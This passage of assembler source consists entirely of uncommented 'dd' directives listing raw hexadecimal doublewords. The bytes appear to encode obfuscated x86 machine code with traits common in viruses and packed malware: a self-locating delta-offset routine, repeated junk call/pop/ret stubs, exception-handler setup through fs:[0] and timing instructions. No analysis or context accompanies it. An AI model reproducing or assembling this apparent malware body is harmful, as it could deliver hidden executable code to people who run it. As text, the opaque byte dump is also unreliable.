		dd 69958960h, 2B05E700h, 0E7193D8Dh, 0E7686105h, 8109999Ch
		dd 9F182434h, 6A0986h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 1C0424h, 52420000h, 5A7F51C3h, 0E3E1F264h
		dd 870FCEEDh, 0Ch, 68A0Fh, 8A0F0000h, 0
		dd 0A646858Dh, 6A05EAh,	3E853h,	5B200000h, 5C895BC3h, 44810424h
		dd 140424h, 53430000h, 0F98A6BC3h, 1D9D0BFCh, 5005E728h
		dd 0BE9h, 6AF20F00h, 0A26EB243h, 784F0492h, 6A240489h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1D042444h
		dd 45000000h, 0E74FC355h, 1AFCDF20h, 7FDC06ACh,	22A5B531h
		dd 95FF05E7h, 5E71B71h,	61D88B66h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 14h, 5C35747h, 38E0Fh, 8B660000h
		dd 2D9D89FEh, 0C705E715h, 0E7273985h, 305h, 51006A00h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1504h, 0C3514100h
		dd 816662DDh, 0FAE2DF7h, 0BD83DBBFh, 5EAA646h, 2A840F00h
		dd 6A000000h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 15042444h, 47000000h, 0F0AFC357h, 2121BD01h,	1DE905E7h
		dd 8B000000h, 0C3050F8h, 11440011h, 10E8C101h, 2114430h
		dd 3114C00h, 4E98358h, 36EBE775h, 11043050h, 1116400h
		dd 3010E8C1h, 21144h, 58031164h, 7504E983h, 501BEBE7h
		dd 2810E8C1h, 30031164h, 58021144h, 1116428h, 83110430h
		dd 0E77504E9h, 0C08B00EBh, 0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 1Dh, 0A3C35343h, 0B14738AEh, 99767F3h, 29DF81E2h
		dd 8B393006h, 0E71B6DBDh, 53006A05h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1904h,	0C3534300h, 0C72390E8h
		dd 5DBBFF20h, 832D4C5Fh, 0E72739BDh, 850F0305h,	374h, 29F18A60h
		dd 0E703AD85h, 0BD836105h, 5EAA646h, 5D840F00h,	6A000003h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 19042444h
		dd 46000000h, 1F7DC356h, 128186CDh, 0FDBBF0Fh, 688h, 219D8B00h
		dd 0FF05E72Ch, 0EAA646B5h, 52006A05h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1604h,	0C3524200h, 66C36ED5h
		dd 0FF691BBFh, 0E7021995h, 57006A05h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1704h,	0C3574700h, 32BD71D0h
		dd 68F0Fh, 0CB810000h, 8D34E67h, 0A63AB58Bh, 950105EAh
		dd 5E72321h, 106C7h, 6A0001h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 180424h, 55450000h, 0C334BBC3h, 8B664D45h
		dd 0F5196DAh, 287h, 5B5F5100h, 0FA8A5650h, 6A965Bh, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 1B0424h, 50400000h
		dd 9D6BEAC3h, 0F98C3707h, 19D8B5Eh, 0FF05E714h,	0EAA646B5h
		dd 3195FF05h, 6605E700h, 0B58BFB8Bh, 5EAA63Ah, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 90C35343h, 1A5A3D13h
		dd 0F575A1Ah, 895BFFB7h, 0E720BD95h, 7D858B05h,	0F05E718h
		dd 589h, 0EB816600h, 8689C71Ch,	0C4h, 6810Fh, 8D290000h
		dd 5E70095h, 1AA9958Bh,	816605E7h, 83724DD3h, 89F904C2h
		dd 6A2050h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 140424h
		dd 52420000h, 858DAAC3h, 5EABAC3h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 1Ah, 7DC35040h, 0F8FAD612h, 0DE8BAB3Ch
		dd 0B88689h, 8B660000h,	57006AFBh, 0CE8h, 0D53B6800h, 28817C3Dh
		dd 9E7D143Ah, 398D89A8h, 5F05E718h, 0FFFA8B5Fh,	0EAA646B5h
		dd 55006A05h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1C04h
		dd 0C3554500h, 0BDB55F0Dh, 0AA79032Eh, 0BD95FF70h, 6605E71Ah
		dd 6596C781h, 0A4BB6696h, 0CE850DCh, 55000000h,	7E2FAE50h
		dd 6FD73EFFh, 0FD3ED06h, 480h, 0E0BB6600h, 8B965FE4h, 0E72179BDh
		dd 46B5FF05h, 5005EAA6h, 13E59D8Bh, 0FF5F05E7h,	0E7077995h
		dd 12E905h, 65920000h, 9868573h, 13E18203h, 8F1667BCh
		dd 2E874093h, 2D0DBD83h, 0F0005E7h, 1984h, 8E900h, 6E7B0000h
		dd 0DF2FF589h, 66505475h, 3489DE8Bh, 0F7816624h, 0B5FF6E27h
		dd 5EAA646h, 0E83535BFh, 10E926h, 0F70A0000h, 8EA803CFh
		dd 0E6437EABh, 8FBABF42h, 95FFED77h, 5E72435h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 18h, 4BC35242h, 2A373583h
		dd 0EE8h, 3E286500h, 5CAB744Ah,	1CF02560h, 89E162EFh, 0E706E1B5h
		dd 0B5FF5F05h, 5EAA646h, 0E851006Ah, 3,	59C35920h, 4244C89h
		dd 4244481h, 1Ah, 93C35141h, 0BFFF05FDh, 9D8BFE51h, 5E70159h
		dd 76D95FFh, 0C38005E7h, 85BD83F1h, 205E72Dh, 18840Fh
		dd 9D8B0000h, 5E7244Dh,	1185858Bh, 8B6605E7h, 0C6DEh, 1D4D9D8Bh
		dd 85C705E7h, 5E72319h,	0
		dd 951B589h, 8D8905E7h,	5E71A11h, 0FFF3C3E9h, 3890FFFh
		dd 66000000h, 0C18BD88Bh, 2FD8D89h, 858D05E7h, 5E71395h
		dd 58A0Fh, 81660000h, 50400AF7h, 6A240489h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 14042444h, 47000000h, 8B93C357h
		dd 0E70C61BDh, 6A006A05h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1A042444h, 43000000h, 7DF1C353h, 0BE0BE099h
		dd 12880F9Ah, 0E8000000h, 0Ah, 97D80076h, 0CA9AE530h, 61607946h
		dd 0E595295Fh, 6A05E720h, 52006A00h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1A04h,	0C3524200h, 6CB196F3h
		dd 81F8267Ch, 0FDB1AADBh, 0AF858D5Eh, 6A05EB86h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 16042444h, 47000000h
		dd 5542C357h, 0F8BF0FADh, 6A05C083h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1A042444h, 40000000h, 0D80C350h
		dd 0F3771587h, 0F5BD8BEDh, 8A05E701h, 8B6690DDh, 0BF5750D9h
		dd 4D0EC585h, 0BB66905Fh, 6E8430Dh, 51000000h, 2FD9EB78h
		dd 69BD8BB3h, 5F05E72Ch, 8B60006Ah, 0C78166D7h,	6661C4E3h
		dd 6AF88Bh, 0E857006Ah,	3, 5FC35F20h, 4247C89h,	4244481h
		dd 15h,	0D4C35747h, 68C0F15h, 0F000000h, 81h, 9E900h, 0C3890000h
		dd 14FAFAC8h, 0FF73B7BDh, 0E71A4D95h, 55006A05h, 3E8h
		dd 0C35D2000h, 246C895Dh, 24448104h, 1704h, 0C3554500h
		dd 4550B265h, 12A58D01h, 8D8D05E7h, 5EAA4AAh, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 18h, 0DFC35646h, 593CA6AAh
		dd 29D9BD8Bh, 0BD8B05E7h, 5E71729h, 5FE9BF66h, 6AD1FFh
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 170424h, 52420000h
		dd 0B858A4C3h, 6D8529B3h, 8305E71Bh, 0E72B8DBDh, 850F0105h
		dd 8Ch,	0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 14h
		dd 73C35747h, 798D8960h, 3105E703h, 0E71B2DBDh,	11E96105h
		dd 34000000h, 93D90A2h,	0D0046D68h, 0E325956h, 0F2A20EFFh
		dd 6A026Ah, 3E852h, 5A200000h, 54895AC3h, 44810424h, 140424h
		dd 52420000h, 0BD0342C3h, 5E719F5h, 60515090h, 310F5250h
		dd 8B66585Ah, 905F61F1h, 2BC9BD8Bh, 95FF05E7h, 5E71ABDh
		dd 7AD9D0Bh, 0BD2B05E7h, 5E72385h, 0D88E9h, 0E800h, 815D0000h
		dd 0EB86B9EDh, 76BB6605h, 56006A82h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1C04h,	0C3564600h, 0EF570C5Fh
		dd 0C1849AF7h, 0FD858D88h, 0F505EA90h, 0C018589h, 609005E7h
		dd 0F71EB966h, 0BF665061h, 6A90FF67h, 3E85500h,	20000000h
		dd 895DC35Dh, 8104246Ch, 19042444h, 45000000h, 0A8D8C355h
		dd 3B5D1F0Dh, 35FF64h, 6A000000h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 16042444h, 45000000h, 7249C355h
		dd 25896425h, 0
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 15h, 0BDC35242h
		dd 8D9D89C6h, 0FF05E709h, 0E714FD85h, 57006A05h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1904h, 0C3574700h
		dd 93AC5D16h, 816693EFh, 8BAFA0E3h, 6AFF6AF9h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 16042444h, 41000000h
		dd 4CFFC351h, 6870F9Eh,	89000000h, 0E72499BDh, 0FE905h
		dd 0CE4F0000h, 6DEED9B8h, 1F4673Ah, 0AF402B26h,	45B5FFE1h
		dd 8905E72Bh, 0E71A518Dh, 5195FF05h, 0E905E704h, 127h
		dd 3830Fh, 8B660000h, 858D89FEh, 0B005E720h, 659D8900h
		dd 0E605E70Ah, 171E470h, 0E717898Dh, 0F613C05h,	0FE83h
		dd 0D5BD8B00h, 0F05E72Ch, 8589C8B6h, 5E703F9h, 6BAh, 0D9B70F00h
		dd 8F0FC18Bh, 1, 4E8C1F5h, 1541B589h, 0E38105E7h, 31425EFEh
		dd 0FE2F766h, 68Dh, 0CD9D0300h,	2B05E732h, 0FE9C8h, 84A0000h
		dd 47BEAEB1h, 5462A8E7h, 1E9EBB5Ch, 8BD18BF5h, 0E703719Dh
		dd 6E905h, 95890000h, 5E71189h,	1C1858Bh, 0C08305E7h, 0B5BD8B07h
		dd 8305E72Bh, 0EE900C0h, 42000000h, 0A9EE5DB8h,	0FDCF11F9h
		dd 2A7187E9h, 0FD03BE9h, 2083h,	6E800h,	0FD60000h, 0D1D8DA22h
		dd 0C859589h, 8B5B05E7h, 0E715599Dh, 4DE905h, 0DF800000h
		dd 558D8B5Fh, 8905E71Ah, 0E7041D95h, 0DBBB6605h, 1E18357h
		dd 31840Fh, 83F50000h, 0E71A55A5h, 0DE9FE05h, 82000000h
		dd 4AE2F908h, 0A5D1D2E0h, 5B8A8E19h, 1C19589h, 0BD8B05E7h
		dd 5E72C35h, 27819D8Bh,	0E905E7h, 8D000000h, 0EAF915B5h
		dd 55006A05h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1804h
		dd 0C3554500h, 2D78F3B4h, 5E9BBh, 0E52C0000h, 6AC3F21Eh
		dd 51006A00h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1B04h
		dd 0C3514100h, 1A2861CBh, 184E9C00h, 13E8h, 0D49B9E00h
		dd 1D6DE361h, 0EA924018h, 28516132h, 3C99616Ah,	0FD14E781h
		dd 0FF5B3C16h, 0E721C195h, 57006A05h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1504h,	0C3574700h, 8A0F5E93h
		dd 4, 0E331BF66h, 90DB9h, 9E800h, 8E3E0000h, 4EDC27E1h
		dd 0B3A5B258h, 0E1835B2Eh, 50006AFCh, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1904h,	0C3504000h, 912E5BCFh
		dd 0BD239540h, 5E7137Dh, 53006AFCh, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1C04h, 0C3534300h, 0B54F576Ch, 2BF7B62Dh
		dd 7E923h, 0DD410000h, 0B481500Eh, 0D88B6690h, 6AC02Bh
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1D0424h, 53430000h
		dd 0B59FDEC3h, 0C66AC7FDh, 29B807C8h, 0E701599Dh, 25BD8B05h
		dd 0BA05E71Ch, 0
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ah, 8C35747h
		dd 5A1F5463h, 0AE90184h, 0BA000000h, 43E30F1Dh,	0D19BA1F5h
		dd 0C233AD4Ch, 0D003E8D1h, 7504E983h, 55006AF4h, 3E8h
		dd 0C35D2000h, 246C895Dh, 24448104h, 1D04h, 0C3554500h
		dd 73DF7D07h, 1EA544E7h, 81660D32h, 0BF60D2C3h,	52E7C387h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 1CC35343h
		dd 0C19221FCh, 35BD8B0Eh, 8B05E721h, 0E703E5BDh, 880D05h
		dd 0CF810000h, 4DC7CE6Dh, 1AA9958Bh, 6A05E7h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1C0424h, 55450000h, 7B83D1C3h
		dd 0DB8B2CCEh, 0BD8B92EBh, 5E71C6Dh, 2A4D8D8Bh,	9D8B05E7h
		dd 5E70CC9h, 8BC28B50h,	8BC10318h, 0D1C18B18h, 8BC203E8h
		dd 6A5818h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 190424h
		dd 56460000h, 0C8B022C3h, 8BCDE4C1h, 0CDB589DEh, 8305E722h
		dd 0E71865BDh, 840F0005h, 8Fh, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 18h, 0F1C35747h,	0B83A747Bh, 235BD8Bh
		dd 800F05E7h, 6, 179D9D8Bh, 0B805E7h, 6A000000h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 18042444h, 40000000h
		dd 3119C350h, 66629DBCh, 0AB11D381h, 1D8B70Fh, 0E717358Dh
		dd 248D8D05h, 0FF05E74Dh, 50006AE1h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1404h,	0C3504000h, 0A5B5896Ah
		dd 8305E728h, 0E72739BDh, 840F0005h, 40Ch, 0FE9h, 0FD917500h
		dd 1B2E850Bh, 1FE1B16h,	0AACB8E08h, 2739BD83h, 0F0105E7h
		dd 40684h, 57006A00h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h
		dd 1404h, 0C3574700h, 0E1BD8B49h, 8305E70Ch, 0E72739BDh
		dd 860F0305h, 3A1h, 0DE9h, 5C339500h, 0FF42A668h, 0B64D66D2h
		dd 0FC6037D7h, 1860Fh, 66FC0000h, 6AD98Ch, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1B0424h, 53430000h, 0BCD7C5C3h
		dd 82BBB0CBh, 4E18069h,	0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 15h, 0F7C35747h, 0EE94Ah, 30F00000h, 0D4B6F824h
		dd 97AD692h, 1EE65CFh, 840FC90Ah, 11Bh,	0E853006Ah, 3
		dd 5BC35B20h, 4245C89h,	4244481h, 1Bh, 0E4C35343h, 0E1163113h
		dd 8B5437DFh, 0E7069985h, 0BB665605h, 335FAA8Eh, 0E7130985h
		dd 5BFC5305h, 0E9515750h, 0Dh, 0DEF8FC05h, 0E7183AD4h
		dd 0AF7510D3h, 895B5B0Ch, 81602404h, 0EE3336DEh, 41852345h
		dd 6105E718h, 0AE8h, 0D23B0F00h, 417A36Ah, 8BF3B9B2h, 0E72375BDh
		dd 6A5B05h, 341F9668h, 66606008h, 61011DBAh, 0D88B5250h
		dd 8B66310Fh, 61585ACBh, 69243481h, 89082B1Ch, 0E71A7995h
		dd 7195FF05h, 6A05E71Bh, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 18042444h, 45000000h, 34D4C355h, 89405E2Ah
		dd 0EAA64685h, 56006A05h, 3E8h,	0C35E2000h, 2474895Eh
		dd 24448104h, 1C04h, 0C3564600h, 0F170D259h, 23D0170Fh
		dd 1DDE987h, 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 160424h, 53430000h, 0ACFBD3C3h, 0AC19D8Bh, 816605E7h
		dd 8BA7C9D7h, 0EAA63E85h, 0C3805105h, 0C75F97h,	18h, 0B58B77B3h
		dd 5EAA642h, 329BD8Bh, 858B05E7h, 5E73289h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 55C35747h, 8D0F7A23h
		dd 0
		dd 6A0689h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1D0424h
		dd 52420000h, 800C9AC3h, 0C97D21E1h, 600C40D2h,	0AE9F5h
		dd 3E660000h, 0D1D80F8h, 7645E2C2h, 99858B61h, 6A05E706h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1D042444h
		dd 45000000h, 7C18C355h, 3D6975D2h, 869E628h, 0A95BF1BFh
		dd 446893Fh, 96D88B66h,	0B7507EB7h, 0BD8B96B3h,	5E72071h
		dd 24999529h, 0B5FF05E7h, 5EAA63Eh, 1A49BD23h, 4E805E7h
		dd 0FF000000h, 0E9001F03h, 0Ch,	0B9A2BFFAh, 8B482383h
		dd 998701B7h, 8BD98A50h, 0F042444h, 1983h, 0BF666000h
		dd 0EE994B8h, 88000000h, 3544F7C9h, 600CFAC2h, 750940F5h
		dd 8B61DEh, 4244489h, 0EBE3BF66h, 69858958h, 8D05E72Ch
		dd 0EAA64685h, 52BB6605h, 8E0F90C0h, 2,	8B505F50h, 6A90FAh
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1A0424h, 50400000h
		dd 8778FDC3h, 2E975656h, 12E860h, 6A320000h, 27645503h
		dd 0D11BBF69h, 4DF6FACCh, 0BC8FA46h, 0FCF9BE66h, 419D8958h
		dd 6105E715h, 1B7195FFh, 6A05E7h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 1B0424h, 56460000h, 7D3501C3h, 6DA78135h
		dd 35BD8BF9h, 6105E72Ch, 0FFC97FBFh, 3985C779h,	305E727h
		dd 8B000000h, 46BD83DEh, 5EAA6h, 37840Fh, 0E9F80000h, 4Ch
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 33C35646h
		dd 3FDE65BFh, 0B6002E8h, 0E70005B5h, 18DB8005h,	0ABF6661h
		dd 0C305062h, 11440011h, 10E8C101h, 2114430h, 3114C00h
		dd 4E98358h, 36EBE775h,	11043050h, 1116400h, 3010E8C1h
		dd 21144h, 58031164h, 7504E983h, 501BEBE7h, 2810E8C1h
		dd 30031164h, 58021144h, 1116428h, 83110430h, 0E77504E9h
		dd 0C08B00EBh, 0BE9h, 0ABDF6500h, 0AAD83D59h, 5712A469h
		dd 125FB960h, 9D897BF0h, 5E705A9h, 39BD8361h, 305E727h
		dd 363850Fh, 8D890000h,	5E70A8Dh, 0A646BD83h, 0F0005EAh
		dd 35084h, 6E85200h, 4F000000h,	27839D4Fh, 5B5B511Eh, 46B5FF5Fh
		dd 3305EAA6h, 0E72CA59Dh, 5DBD0105h, 0FF05E707h, 0E7021995h
		dd 0B58BF505h, 5EAA63Ah, 0E851006Ah, 3,	59C35920h, 4244C89h
		dd 4244481h, 16h, 53C35141h, 81660768h,	0C7CAF2DFh, 1000106h
		dd 0CE900h, 86470000h, 0C3B808BBh, 368A6B29h, 0E950D1E7h
		dd 5, 0D2DECE9Dh, 2434894Fh, 0FFFA8B66h, 0EAA646B5h, 55006A05h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1704h, 0C3554500h
		dd 353DE431h, 0DCDB8166h, 3195FF55h, 6A05E700h,	3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1D042444h, 45000000h
		dd 122DC355h, 176B94A6h, 5610DEDCh, 1BED8529h, 0B58B05E7h
		dd 5EAA63Ah, 91D38166h,	7D858B96h, 8905E718h, 0E728C995h
		dd 1BBF6605h, 0C4868921h, 66000000h, 958BFB8Bh,	5E71AA9h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 15h, 43C35040h
		dd 0B5BD89D1h, 8305E704h, 0F6B704C2h, 89205089h, 0E722A595h
		dd 0C3858D05h, 6A05EABAh, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 19042444h, 46000000h, 5F2EC356h, 61D8CA2Ch
		dd 6C5BD8Bh, 868905E7h,	0B8h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 19h, 97C35747h, 723893A7h, 698589BEh
		dd 6A05E719h, 0B5FFFC00h, 5EAA646h, 4830F56h, 66000000h
		dd 5B4FABBBh, 1ABD95FFh, 0E95305E7h, 8,	0BC5CC73Fh, 0B7EA599Eh
		dd 35B5015Bh, 5005E704h, 89DE8B66h, 95892434h, 5E717FDh
		dd 0A646B5FFh, 6A05EAh,	3E857h,	5F200000h, 7C895FC3h, 44810424h
		dd 170424h, 57470000h, 3AE209C3h, 0F5BD2966h, 0FF05E70Bh
		dd 0E7077995h, 6820F05h, 8B000000h, 0E70B25BDh,	0DBD8305h
		dd 5E72Dh, 3B840Fh, 880F0000h, 0Ch, 68E0Fh, 0BD330000h
		dd 5E70665h, 0DE850h, 45360000h, 0DF09C42h, 0D4C028F7h
		dd 505E2A34h, 5A310F52h, 34895B58h, 29506024h, 0E70475B5h
		dd 0F08B5805h, 46B5FF61h, 6A05EAA6h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1A042444h, 46000000h, 844C356h
		dd 3270DD7Bh, 3595FF5Fh, 8105E724h, 7AACD8DBh, 46B5FF19h
		dd 6A05EAA6h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 15042444h, 40000000h, 38ADC350h, 2E719D8Bh, 0D38105E7h
		dd 194C42AFh, 76D95FFh,	6A05E7h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 180424h, 50400000h, 1851F1C3h, 0BD83B444h
		dd 5E72D85h, 63840F02h,	89000000h, 0E72AF98Dh, 85858B05h
		dd 6A05E711h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 16042444h, 42000000h, 7C1FC352h, 6820FEBh, 8B000000h
		dd 0E728959Dh, 0C6BDB705h, 6A0000h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 1A0424h, 52420000h, 6D0468C3h
		dd 0E95620E8h, 1561B589h, 85C705E7h, 5E72319h, 0
		dd 0F39BE9FCh, 6AFFFFh,	3E856h,	5E200000h, 74895EC3h, 44810424h
		dd 1A0424h, 56460000h, 0F7535BC3h, 0B9ADEC1Eh, 18A0Fh
		dd 52FC0000h, 0A1AFBB66h, 89C18B5Bh, 0E728D5BDh, 95858D05h
		dd 6A05E713h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1A042444h, 47000000h, 0BF03C357h, 0C11A4B35h, 7E9C6h
		dd 53420000h, 406CB58Ch, 11E926h, 0B1710000h, 0AD3967F5h
		dd 1484FF64h, 0D0D3A757h, 90AAFC0Fh, 0D266BF66h, 8E0F5650h
		dd 2, 905B5B57h, 0C47D5FBFh, 6A006A18h,	3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 15042444h, 47000000h, 0D392C357h
		dd 2B01BD29h, 9D8B05E7h, 5E72005h, 6A006Ah, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 150424h, 51410000h, 8DC4B4C3h
		dd 0EB96AB85h, 57006A05h, 3E8h,	0C35F2000h, 247C895Fh
		dd 24448104h, 1B04h, 0C3574700h, 0F3AAFA18h, 1E8A6316h
		dd 0C083FB8Bh, 18D8905h, 5005E702h, 0D98B6057h,	4895B61h
		dd 0DE924h, 165E0000h, 7FC82EE0h, 0EDCD644Bh, 6A660A08h
		dd 57006A00h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1C04h
		dd 0C3574700h, 7B3D7AA2h, 0BE845930h, 840FDDh, 56000000h
		dd 5B23CF80h, 0BB66006Ah, 95FFC731h, 5E71A4Dh, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 16h, 84C35242h, 0DF81D615h
		dd 7DE86820h, 0A4AA8D8Dh, 6A05EAh, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 170424h, 56460000h, 51E581C3h, 359D03A4h
		dd 0FF05E721h, 0CE8D1h,	51F40000h, 98F1E345h, 0E4F6A16h
		dd 5F53A472h, 8DBD835Fh, 105E72Bh, 0C6850Fh, 6A0000h, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 170424h, 50400000h
		dd 1D3AC3C3h, 0C59D8B8Fh, 6A05E711h, 0FE802h, 87360000h
		dd 0E7604EB4h, 75612EEBh, 9A5281C6h, 0C3816651h, 905FAF71h
		dd 11E8h, 0B111A300h, 0B9487115h, 9DEB8C09h, 0C2C7E587h
		dd 5E8D4E4h, 0A2000000h, 9FA25DA4h, 5B5B5B51h, 8A576050h
		dd 0DD8A5BE7h, 6A9061h,	3E850h,	58200000h, 448958C3h, 44810424h
		dd 1B0424h, 50400000h, 4F4796C3h, 0C3D0F7A5h, 0DBBF0F41h
		dd 1ABD95FFh, 6A05E7h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 1D0424h, 51410000h, 0B018ADC3h, 86F9A44Eh, 0BB9396F5h
		dd 6879CF5Bh, 0E64E9h, 0E800h, 815D0000h, 0EB96B5EDh, 0EE86005h
		dd 0AD000000h, 2CF9004h, 1298BDE7h, 0ED3F4923h,	5E8B2h
		dd 21AA0000h, 5B3458F0h, 0EF81665Eh, 6A6159ACh,	3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1D042444h, 42000000h
		dd 0FD0AC352h, 53557036h, 93E758C9h, 7918589h, 858D05E7h
		dd 5EA90FDh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 17h,	0AC35141h, 1621D7Fh, 0E700B19Dh, 0A5BD8B05h, 5005E712h
		dd 0D98B5250h, 0DE9310Fh, 0F8000000h, 0B684916Ah, 0A40A1678h
		dd 3B95B005h, 489585Ah,	0A3DF8024h, 35FF64h, 0E9000000h
		dd 10h,	1348FBEFh, 1B753455h, 10B64C17h, 785B31BEh, 258964h
		dd 0E8000000h, 14h, 336A4213h, 0D68EADABh, 80CDC98Eh, 8BE317D8h
		dd 0AA044F40h, 5F45EB80h, 14FD85FFh, 6A05E7h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 1D0424h, 52420000h, 4EF2EC3h
		dd 0DA3F80CAh, 609C95D3h, 2820Fh, 6B60000h, 6AFF6A61h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1A042444h
		dd 43000000h, 8E7DC353h, 90DCB166h, 6810F57h, 8B000000h
		dd 0E713F1BDh, 29B5FF05h, 6A05E720h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 16042444h, 42000000h, 0F9E2C352h
		dd 5195FF64h, 0E905E704h, 159h,	0FE8h, 2FDD2800h, 36A40D77h
		dd 2474AD89h, 985D6A0Ch, 0F00B05Fh, 70E6D8B7h, 3CF971E4h
		dd 32830F61h, 8B000001h, 0E7241D9Dh, 0C8B60F05h, 2699509h
		dd 6BA05E7h, 60000000h,	2BA9958Bh, 840F05E7h, 6, 3299D89h
		dd 8B6105E7h, 4E8C1C1h,	14419D8Bh, 0F76605E7h, 8830FE2h
		dd 0F000000h, 282h, 2B616000h, 6880FC8h, 8B000000h, 0E7290DBDh
		dd 89D18B05h, 0E701A9BDh, 0DFB70F05h, 6E9h, 0A6CF8100h
		dd 8B337151h, 0E727CD85h, 12E805h, 6A9F0000h, 12D8158Eh
		dd 993C6663h, 4C271101h, 7A0FBEA6h, 0C4DD89BFh,	0C0835F5Dh
		dd 6890F07h, 29000000h,	0E716098Dh, 0C19D8B05h,	8305E708h
		dd 56BF00C0h, 3B0EADC4h, 27830FD0h, 60000000h, 6830Fh
		dd 0D3810000h, 31ACB25Eh, 6E960h, 0DF300000h, 17F5E18Ch
		dd 6161DF8Bh, 60E9h, 0DF816600h, 8D8B238Fh, 5E7185Dh, 20C59D8Bh
		dd 858905E7h, 5E70005h,	0F01E183h, 4084h, 0DAB70F00h, 185DA583h
		dd 0E8FE05E7h, 11h, 48CC1FF6h, 0C51CA60Ah, 7043F0B2h, 18081BB8h
		dd 8B5BF945h, 0E7250D9Dh, 0CD958905h, 0F905E727h, 6840Fh
		dd 9D8B0000h, 5E71B05h,	0E9h, 96B58D00h, 0BB05EB03h, 66B1E363h
		dd 6A006Ah, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1A0424h
		dd 57470000h, 9A86F4C3h, 4F8707ADh, 89F8B70Fh, 0E713ED95h
		dd 0C195FF05h, 6A05E721h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1B042444h, 47000000h, 91FC357h, 0BEEC01FAh
		dd 0BF66ED75h, 0E4B94107h, 6A000008h, 3E85300h,	20000000h
		dd 895BC35Bh, 8104245Ch, 1A042444h, 43000000h, 2127C353h
		dd 9D9627CBh, 0FCE18384h, 0DB59C5BBh, 90C38100h, 0FC5A4270h
		dd 19C59D8Bh, 0C02B05E7h, 2CCDB501h, 0BA05E7h, 6A000000h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 19042444h
		dd 43000000h, 0F279C353h, 5D886DA4h, 898501F8h,	0AD05E704h
